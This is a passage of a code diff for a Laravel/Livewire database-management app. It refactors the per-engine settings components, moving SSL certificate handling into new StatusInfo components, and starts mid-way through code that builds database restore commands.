2>/dev/null || cat {$escapedTmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD \${MYSQL_DATABASE:-default}"; + } else { + $restoreCommand .= " < {$escapedTmpPath}"; + } + break; + case StandalonePostgresql::class: + case 'postgresql': + $restoreCommand = $this->postgresqlRestoreCommand; + if ($this->dumpAll) { + $restoreCommand .= " && (gunzip -cf {$escapedTmpPath} 2>/dev/null || cat {$escapedTmpPath}) | psql -U \${POSTGRES_USER} -d \${POSTGRES_DB:-\${POSTGRES_USER:-postgres}}"; + } else { + $restoreCommand .= " {$escapedTmpPath}"; + } + break; + case StandaloneMongodb::class: + case 'mongodb': + $restoreCommand = $this->mongodbRestoreCommand.$escapedTmpPath; + break; + default: + $restoreCommand = ''; + } + + return $restoreCommand; + } +} diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index 7c8808499..974803e8d 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -4,11 +4,9 @@ use App\Actions\Database\StartDatabaseProxy; use App\Actions\Database\StopDatabaseProxy; -use App\Helpers\SslHelper; use App\Models\Server; use App\Models\StandaloneKeydb; use App\Support\ValidationPatterns; -use Carbon\Carbon; use Exception; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Auth; @@ -42,25 +40,21 @@ class General extends Component public ?string $customDockerRunOptions = null; - public ?string $dbUrl = null; - - public ?string $dbUrlPublic = null; - public bool $isLogDrainEnabled = false; - public ?Carbon $certificateValidUntil = null; - - public bool $enable_ssl = false; - - public function getListeners() + public function getListeners(): array { - $userId = Auth::id(); - $teamId = Auth::user()->currentTeam()->id; + $user = Auth::user(); + if (! $user) { + return []; + } + $team = $user->currentTeam(); + if (! $team) { + return []; + } return [ - "echo-private:team.{$teamId},DatabaseProxyStopped" => 'databaseProxyStopped', - "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', - "echo-private:team.{$teamId},ServiceChecked" => 'refresh', + "echo-private:team.{$team->id},DatabaseProxyStopped" => 'databaseProxyStopped', ]; } @@ -75,12 +69,6 @@ public function mount() return; } - - $existingCert = $this->database->sslCertificates()->first(); - - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; - } } catch (\Throwable $e) { return handleError($e, $this); } @@ -88,7 +76,7 @@ public function mount() protected function rules(): array { - $baseRules = [ + return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), 'keydbConf' => 'nullable|string', @@ -101,13 +89,8 @@ protected function rules(): array 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', - 'dbUrl' => 'nullable|string', - 'dbUrlPublic' => 'nullable|string', 'isLogDrainEnabled' => 'nullable|boolean', - 'enable_ssl' => 'boolean', ]; - - return $baseRules; } protected function messages(): array @@ -143,11 +126,7 @@ public function syncData(bool $toModel = false) $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; - $this->database->enable_ssl = $this->enable_ssl; $this->database->save(); - - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -160,9 +139,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; - $this->enable_ssl = $this->database->enable_ssl; - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; } } @@ -211,6 +187,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + $this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -219,9 +196,13 @@ public function instantSave() } } - public function databaseProxyStopped() + public function databaseProxyStopped(): void { - $this->syncData(); + $this->database->refresh(); + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; + $this->dispatch('databaseUpdated'); } public function submit() @@ -237,6 +218,7 @@ public function submit() } $this->syncData(true); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { @@ -248,65 +230,6 @@ public function submit() } } - public function instantSaveSSL() - { - try { - $this->authorize('update', $this->database); - - $this->syncData(true); - $this->dispatch('success', 'SSL configuration updated.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - - public function regenerateSslCertificate() - { - try { - $this->authorize('update', $this->database); - - $existingCert = $this->database->sslCertificates()->first(); - - if (! $existingCert) { - $this->dispatch('error', 'No existing SSL certificate found for this database.'); - - return; - } - - $caCert = $this->server->sslCertificates() - ->where('is_ca_certificate', true) - ->first(); - - if (! $caCert) { - $this->server->generateCaCertificate(); - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - } - - if (! $caCert) { - $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); - - return; - } - - SslHelper::generateSslCertificate( - commonName: $existingCert->common_name, - subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], - resourceType: $existingCert->resource_type, - resourceId: $existingCert->resource_id, - serverId: $existingCert->server_id, - caCert: $caCert->ssl_certificate, - caKey: $caCert->ssl_private_key, - configurationDir: $existingCert->configuration_dir, - mountPath: $existingCert->mount_path, - isPemKeyFileRequired: true, - ); - - $this->dispatch('success', 'SSL certificates regenerated. Restart database to apply changes.'); - } catch (Exception $e) { - handleError($e, $this); - } - } - public function refresh(): void { $this->database->refresh(); diff --git a/app/Livewire/Project/Database/Keydb/StatusInfo.php b/app/Livewire/Project/Database/Keydb/StatusInfo.php new file mode 100644 index 000000000..1e87461cd --- /dev/null +++ b/app/Livewire/Project/Database/Keydb/StatusInfo.php @@ -0,0 +1,26 @@ +currentTeam()->id; - - return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', - "echo-private:team.{$teamId},ServiceChecked" => 'refresh', - ]; - } - protected function rules(): array { return [ @@ -94,7 +72,6 @@ protected function rules(): array 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', - 'enableSsl' => 'boolean', ]; } @@ -133,7 +110,6 @@ protected function messages(): array 'publicPort' => 'Public Port', 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Options', - 'enableSsl' => 'Enable SSL', ]; public function mount() @@ -147,12 +123,6 @@ public function mount() return; } - - $existingCert = $this->database->sslCertificates()->first(); - - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; - } } catch (Exception $e) { return handleError($e, $this); } @@ -176,11 +146,7 @@ public function syncData(bool $toModel = false) $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; - $this->database->enable_ssl = $this->enableSsl; $this->database->save(); - - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -196,9 +162,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; - $this->enableSsl = $this->database->enable_ssl; - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } } @@ -234,6 +197,7 @@ public function submit() } $this->syncData(true); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { @@ -270,6 +234,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + $this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -278,63 +243,6 @@ public function instantSave() } } - public function instantSaveSSL() - { - try { - $this->authorize('update', $this->database); - - $this->syncData(true); - $this->dispatch('success', 'SSL configuration updated.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - - public function regenerateSslCertificate() - { - try { - $this->authorize('update', $this->database); - - $existingCert = $this->database->sslCertificates()->first(); - - if (! $existingCert) { - $this->dispatch('error', 'No existing SSL certificate found for this database.'); - - return; - } - - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - - if (! $caCert) { - $this->server->generateCaCertificate(); - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - } - - if (! $caCert) { - $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); - - return; - } - - SslHelper::generateSslCertificate( - commonName: $existingCert->common_name, - subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], - resourceType: $existingCert->resource_type, - resourceId: $existingCert->resource_id, - serverId: $existingCert->server_id, - caCert: $caCert->ssl_certificate, - caKey: $caCert->ssl_private_key, - configurationDir: $existingCert->configuration_dir, - mountPath: $existingCert->mount_path, - isPemKeyFileRequired: true, - ); - - $this->dispatch('success', 'SSL certificates have been regenerated. Please restart the database for changes to take effect.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - public function refresh(): void { $this->database->refresh(); diff --git a/app/Livewire/Project/Database/Mariadb/StatusInfo.php b/app/Livewire/Project/Database/Mariadb/StatusInfo.php new file mode 100644 index 000000000..c6fda37b6 --- /dev/null +++ b/app/Livewire/Project/Database/Mariadb/StatusInfo.php @@ -0,0 +1,21 @@ +currentTeam()->id; - - return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', - "echo-private:team.{$teamId},ServiceChecked" => 'refresh', - ]; - } - protected function rules(): array { return [ @@ -91,8 +67,6 @@ protected function rules(): array 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', - 'enableSsl' => 'boolean', - 'sslMode' => 'nullable|string|in:allow,prefer,require,verify-full', ]; } @@ -112,7 +86,6 @@ protected function messages(): array 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', - 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', ] ); } @@ -130,8 +103,6 @@ protected function messages(): array 'publicPort' => 'Public Port', 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', - 'enableSsl' => 'Enable SSL', - 'sslMode' => 'SSL Mode', ]; public function mount() @@ -145,12 +116,6 @@ public function mount() return; } - - $existingCert = $this->database->sslCertificates()->first(); - - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; - } } catch (Exception $e) { return handleError($e, $this); } @@ -173,12 +138,7 @@ public function syncData(bool $toModel = false) $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; - $this->database->enable_ssl = $this->enableSsl; - $this->database->ssl_mode = $this->sslMode; $this->database->save(); - - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -193,10 +153,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; - $this->enableSsl = $this->database->enable_ssl; - $this->sslMode = $this->database->ssl_mode; - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } } @@ -235,6 +191,7 @@ public function submit() } $this->syncData(true); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { @@ -271,6 +228,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + $this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -279,68 +237,6 @@ public function instantSave() } } - public function updatedSslMode() - { - $this->instantSaveSSL(); - } - - public function instantSaveSSL() - { - try { - $this->authorize('update', $this->database); - - $this->syncData(true); - $this->dispatch('success', 'SSL configuration updated.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - - public function regenerateSslCertificate() - { - try { - $this->authorize('update', $this->database); - - $existingCert = $this->database->sslCertificates()->first(); - - if (! $existingCert) { - $this->dispatch('error', 'No existing SSL certificate found for this database.'); - - return; - } - - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - - if (! $caCert) { - $this->server->generateCaCertificate(); - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - } - - if (! $caCert) { - $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); - - return; - } - - SslHelper::generateSslCertificate( - commonName: $existingCert->common_name, - subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], - resourceType: $existingCert->resource_type, - resourceId: $existingCert->resource_id, - serverId: $existingCert->server_id, - caCert: $caCert->ssl_certificate, - caKey: $caCert->ssl_private_key, - configurationDir: $existingCert->configuration_dir, - mountPath: $existingCert->mount_path, - isPemKeyFileRequired: true, - ); - - $this->dispatch('success', 'SSL certificates have been regenerated. Please restart the database for changes to take effect.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - public function refresh(): void { $this->database->refresh(); diff --git a/app/Livewire/Project/Database/Mongodb/StatusInfo.php b/app/Livewire/Project/Database/Mongodb/StatusInfo.php new file mode 100644 index 000000000..a92a682c9 --- /dev/null +++ b/app/Livewire/Project/Database/Mongodb/StatusInfo.php @@ -0,0 +1,51 @@ + ['title' => 'Allow insecure connections', 'label' => 'allow (insecure)'], + 'prefer' => ['title' => 'Prefer secure connections', 'label' => 'prefer (secure)'], + 'require' => ['title' => 'Require secure connections', 'label' => 'require (secure)'], + 'verify-full' => ['title' => 'Verify full certificate', 'label' => 'verify-full (secure)'], + ]; + } + + protected function sslModeHelper(): string + { + return 'Choose the SSL verification mode for MongoDB connections'; + } + + protected function afterRefresh(): void + { + $this->sslMode = $this->database->ssl_mode; + } + + protected function applyExtraSslAttributes(): void + { + $this->database->ssl_mode = $this->sslMode; + } + + public function updatedSslMode(): void + { + $this->instantSaveSSL(); + } +} diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 34726bd0a..6b88d735d 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -4,14 +4,11 @@ use App\Actions\Database\StartDatabaseProxy; use App\Actions\Database\StopDatabaseProxy; -use App\Helpers\SslHelper; use App\Models\Server; use App\Models\StandaloneMysql; use App\Support\ValidationPatterns; -use Carbon\Carbon; use Exception; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; -use Illuminate\Support\Facades\Auth; use Livewire\Component; class General extends Component @@ -50,27 +47,6 @@ class General extends Component public ?string $customDockerRunOptions = null; - public bool $enableSsl = false; - - public ?string $sslMode = null; - - public ?string $db_url = null; - - public ?string $db_url_public = null; - - public ?Carbon $certificateValidUntil = null; - - public function getListeners() - { - $userId = Auth::id(); - $teamId = Auth::user()->currentTeam()->id; - - return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', - "echo-private:team.{$teamId},ServiceChecked" => 'refresh', - ]; - } - protected function rules(): array { return [ @@ -96,8 +72,6 @@ protected function rules(): array 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', - 'enableSsl' => 'boolean', - 'sslMode' => 'nullable|string|in:PREFERRED,REQUIRED,VERIFY_CA,VERIFY_IDENTITY', ]; } @@ -118,7 +92,6 @@ protected function messages(): array 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', - 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', ] ); } @@ -137,8 +110,6 @@ protected function messages(): array 'publicPort' => 'Public Port', 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', - 'enableSsl' => 'Enable SSL', - 'sslMode' => 'SSL Mode', ]; public function mount() @@ -152,12 +123,6 @@ public function mount() return; } - - $existingCert = $this->database->sslCertificates()->first(); - - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; - } } catch (Exception $e) { return handleError($e, $this); } @@ -181,12 +146,7 @@ public function syncData(bool $toModel = false) $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; - $this->database->enable_ssl = $this->enableSsl; - $this->database->ssl_mode = $this->sslMode; $this->database->save(); - - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -202,10 +162,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; - $this->enableSsl = $this->database->enable_ssl; - $this->sslMode = $this->database->ssl_mode; - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } } @@ -241,6 +197,7 @@ public function submit() } $this->syncData(true); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { @@ -277,6 +234,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + $this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -285,68 +243,6 @@ public function instantSave() } } - public function updatedSslMode() - { - $this->instantSaveSSL(); - } - - public function instantSaveSSL() - { - try { - $this->authorize('update', $this->database); - - $this->syncData(true); - $this->dispatch('success', 'SSL configuration updated.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - - public function regenerateSslCertificate() - { - try { - $this->authorize('update', $this->database); - - $existingCert = $this->database->sslCertificates()->first(); - - if (! $existingCert) { - $this->dispatch('error', 'No existing SSL certificate found for this database.'); - - return; - } - - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - - if (! $caCert) { - $this->server->generateCaCertificate(); - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - } - - if (! $caCert) { - $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); - - return; - } - - SslHelper::generateSslCertificate( - commonName: $existingCert->common_name, - subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], - resourceType: $existingCert->resource_type, - resourceId: $existingCert->resource_id, - serverId: $existingCert->server_id, - caCert: $caCert->ssl_certificate, - caKey: $caCert->ssl_private_key, - configurationDir: $existingCert->configuration_dir, - mountPath: $existingCert->mount_path, - isPemKeyFileRequired: true, - ); - - $this->dispatch('success', 'SSL certificates have been regenerated. Please restart the database for changes to take effect.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - public function refresh(): void { $this->database->refresh(); diff --git a/app/Livewire/Project/Database/Mysql/StatusInfo.php b/app/Livewire/Project/Database/Mysql/StatusInfo.php new file mode 100644 index 000000000..5fbbc1583 --- /dev/null +++ b/app/Livewire/Project/Database/Mysql/StatusInfo.php @@ -0,0 +1,51 @@ + ['title' => 'Prefer secure connections', 'label' => 'Prefer (secure)'], + 'REQUIRED' => ['title' => 'Require secure connections', 'label' => 'Require (secure)'], + 'VERIFY_CA' => ['title' => 'Verify CA certificate', 'label' => 'Verify CA (secure)'], + 'VERIFY_IDENTITY' => ['title' => 'Verify full certificate', 'label' => 'Verify Full (secure)'], + ]; + } + + protected function sslModeHelper(): string + { + return 'Choose the SSL verification mode for MySQL connections'; + } + + protected function afterRefresh(): void + { + $this->sslMode = $this->database->ssl_mode; + } + + protected function applyExtraSslAttributes(): void + { + $this->database->ssl_mode = $this->sslMode; + } + + public function updatedSslMode(): void + { + $this->instantSaveSSL(); + } +} diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index b5fb85483..4e89e8b62 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -4,14 +4,11 @@ use App\Actions\Database\StartDatabaseProxy; use App\Actions\Database\StopDatabaseProxy; -use App\Helpers\SslHelper; use App\Models\Server; use App\Models\StandalonePostgresql; use App\Support\ValidationPatterns; -use Carbon\Carbon; use Exception; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; -use Illuminate\Support\Facades\Auth; use Livewire\Component; class General extends Component @@ -54,32 +51,14 @@ class General extends Component public ?string $customDockerRunOptions = null; - public bool $enableSsl = false; - - public ?string $sslMode = null; - public string $new_filename; public string $new_content; - public ?string $db_url = null; - - public ?string $db_url_public = null; - - public ?Carbon $certificateValidUntil = null; - - public function getListeners() - { - $userId = Auth::id(); - $teamId = Auth::user()->currentTeam()->id; - - return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', - "echo-private:team.{$teamId},ServiceChecked" => 'refresh', - 'save_init_script', - 'delete_init_script', - ]; - } + protected $listeners = [ + 'save_init_script', + 'delete_init_script', + ]; protected function rules(): array { @@ -106,8 +85,6 @@ protected function rules(): array 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', - 'enableSsl' => 'boolean', - 'sslMode' => 'nullable|string|in:allow,prefer,require,verify-ca,verify-full', ]; } @@ -127,7 +104,6 @@ protected function messages(): array 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', - 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', ] ); } @@ -148,8 +124,6 @@ protected function messages(): array 'publicPort' => 'Public Port', 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', - 'enableSsl' => 'Enable SSL', - 'sslMode' => 'SSL Mode', ]; public function mount() @@ -163,12 +137,6 @@ public function mount() return; } - - $existingCert = $this->database->sslCertificates()->first(); - - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; - } } catch (Exception $e) { return handleError($e, $this); } @@ -194,12 +162,7 @@ public function syncData(bool $toModel = false) $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; - $this->database->enable_ssl = $this->enableSsl; - $this->database->ssl_mode = $this->sslMode; $this->database->save(); - - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -217,10 +180,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; - $this->enableSsl = $this->database->enable_ssl; - $this->sslMode = $this->database->ssl_mode; - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } } @@ -243,68 +202,6 @@ public function instantSaveAdvanced() } } - public function updatedSslMode() - { - $this->instantSaveSSL(); - } - - public function instantSaveSSL() - { - try { - $this->authorize('update', $this->database); - - $this->syncData(true); - $this->dispatch('success', 'SSL configuration updated.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - - public function regenerateSslCertificate() - { - try { - $this->authorize('update', $this->database); - - $existingCert = $this->database->sslCertificates()->first(); - - if (! $existingCert) { - $this->dispatch('error', 'No existing SSL certificate found for this database.'); - - return; - } - - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - - if (! $caCert) { - $this->server->generateCaCertificate(); - $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); - } - - if (! $caCert) { - $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); - - return; - } - - SslHelper::generateSslCertificate( - commonName: $existingCert->common_name, - subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], - resourceType: $existingCert->resource_type, - resourceId: $existingCert->resource_id, - serverId: $existingCert->server_id, - caCert: $caCert->ssl_certificate, - caKey: $caCert->ssl_private_key, - configurationDir: $existingCert->configuration_dir, - mountPath: $existingCert->mount_path, - isPemKeyFileRequired: true, - ); - - $this->dispatch('success', 'SSL certificates have been regenerated. Please restart the database for changes to take effect.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - public function instantSave() { try { @@ -330,6 +227,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + $this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -493,6 +391,7 @@ public function submit() } $this->syncData(true); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { diff --git a/app/Livewire/Project/Database/Postgresql/StatusInfo.php b/app/Livewire/Project/Database/Postgresql/StatusInfo.php new file mode 100644 index 000000000..cc27b61bb --- /dev/null +++ b/app/Livewire/Project/Database/Postgresql/StatusInfo.php @@ -0,0 +1,52 @@ + ['title' => 'Allow insecure connections', 'label' => 'allow (insecure)'], + 'prefer' => ['title' => 'Prefer secure connections', 'label' => 'prefer (secure)'], + 'require' => ['title' => 'Require secure connections', 'label' => 'require (secure)'], + 'verify-ca' => ['title' => 'Verify CA certificate', 'label' => 'verify-ca (secure)'], + 'verify-full' => ['title' => 'Verify full certificate', 'label' => 'verify-full (secure)'], + ]; + } + + protected function sslModeHelper(): string + { + return 'Choose the SSL verification mode for PostgreSQL connections'; + } + + protected function afterRefresh(): void + { + $this->sslMode = $this->database->ssl_mode; + } + + protected function applyExtraSslAttributes(): void + { + $this->database->ssl_mode = $this->sslMode; + } + + public function updatedSslMode(): void + { + $this->instantSaveSSL(); + } +} diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index c3cc43972..aff7b7afa 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -4,14 +4,11 @@ use App\Actions\Database\StartDatabaseProxy; use App\Actions\Database\StopDatabaseProxy; -use App\Helpers\SslHelper; use App\Models\Server; use App\Models\StandaloneRedis; use App\Support\ValidationPatterns; -use Carbon\Carbon; use Exception; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; -use Illuminate\Support\Facades\Auth; use Livewire\Component; class General extends Component @@ -48,25 +45,9 @@ class General extends Component public string $redisVersion; - public ?string $dbUrl = null; - - public ?string $dbUrlPublic = null; - - public bool $enableSsl = false; - - public ?Carbon $certificateValidUntil = null; - - public function getListeners() - { - $userId = Auth::id(); - $teamId = Auth::user()->currentTeam()->id; - - return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', - "echo-private:team.{$teamId},ServiceChecked" => 'refresh', - 'envsUpdated' => 'refresh', - ]; - } + protected $listeners = [ + 'envsUpdated' => 'refresh', + ]; protected function rules(): array { @@ -87,7 +68,6 @@ protected function rules(): array 'redisPassword' => ValidationPatterns::databasePasswordRules( enforcePattern: $this->redisPassword !== $this->database->redis_password, ), - 'enableSsl' => 'boolean', ]; } @@ -122,7 +102,6 @@ protected function messages(): array 'customDockerRunOptions' => 'Custom Docker Options', 'redisUsername' => 'Redis Username', 'redisPassword' => 'Redis Password', - 'enableSsl' => 'Enable SSL', ]; public function mount() @@ -136,12 +115,6 @@ public function mount() return; } - - $existingCert = $this->database->sslCertificates()->first(); - - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; - } } catch (\Throwable $e) { return handleError($e, $this); } @@ -161,11 +134,7 @@ public function syncData(bool $toModel = false) $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; - $this->database->enable_ssl = $this->enableSsl; $this->database->save(); - - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -177,9 +146,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; - $this->enableSsl = $this->database->enable_ssl; - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; $this->redisVersion = $this->database->getRedisVersion(); $this->redisUsername = $this->database->redis_username; $this->redisPassword = $this->database->redis_password; @@ -227,6 +193,7 @@ public function submit() ); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { @@ -259,6 +226,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + 